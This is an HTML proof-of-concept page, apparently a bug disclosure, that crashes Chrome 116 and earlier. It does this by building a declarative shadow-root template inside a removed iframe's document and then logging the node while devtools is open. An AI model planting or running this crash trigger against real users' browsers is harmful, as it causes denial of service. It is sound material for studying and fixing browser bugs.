on Chrome <= 116, click "enable poc" then open the devtools console - chrome should crash entirely (was fixed to crash tab only)
<a href="?disable">disable poc</a>
<br>
<a href="?enable">enable poc</a>
<script>
const enabled = location.href.includes('disable');
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const template = ifr.contentWindow.document.createElement('html');
!enabled && ifr.remove();
template.innerHTML = `<my-element><template shadowroot="open"></template></my-element>`;
const shadow = template.children[1].children[0].children[0];
console.log(shadow);
})();
</script>